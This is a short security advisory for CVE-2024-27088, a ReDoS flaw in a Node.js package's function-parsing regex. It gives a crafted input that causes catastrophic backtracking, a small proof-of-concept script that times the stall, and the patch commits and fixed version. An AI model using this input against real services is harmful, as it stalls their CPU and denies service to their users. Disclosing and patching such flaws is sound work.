CVE-2024-27088
Feb 26, 2024
ReDoS in node.js package
作为 rebob 项目的一部分
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:
'function{' + 'n'.repeat(31) + '){'
Here is a simple PoC code to demonstrate the issue:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Impact
Passing functions with very long names or complex default argument names into function#copy orfunction#toStringTokens may put script to stall
Patches Fixed with 3551cdd and a52e957 Published with v0.10.63
Workarounds No real workaround aside of refraining from using above utilities.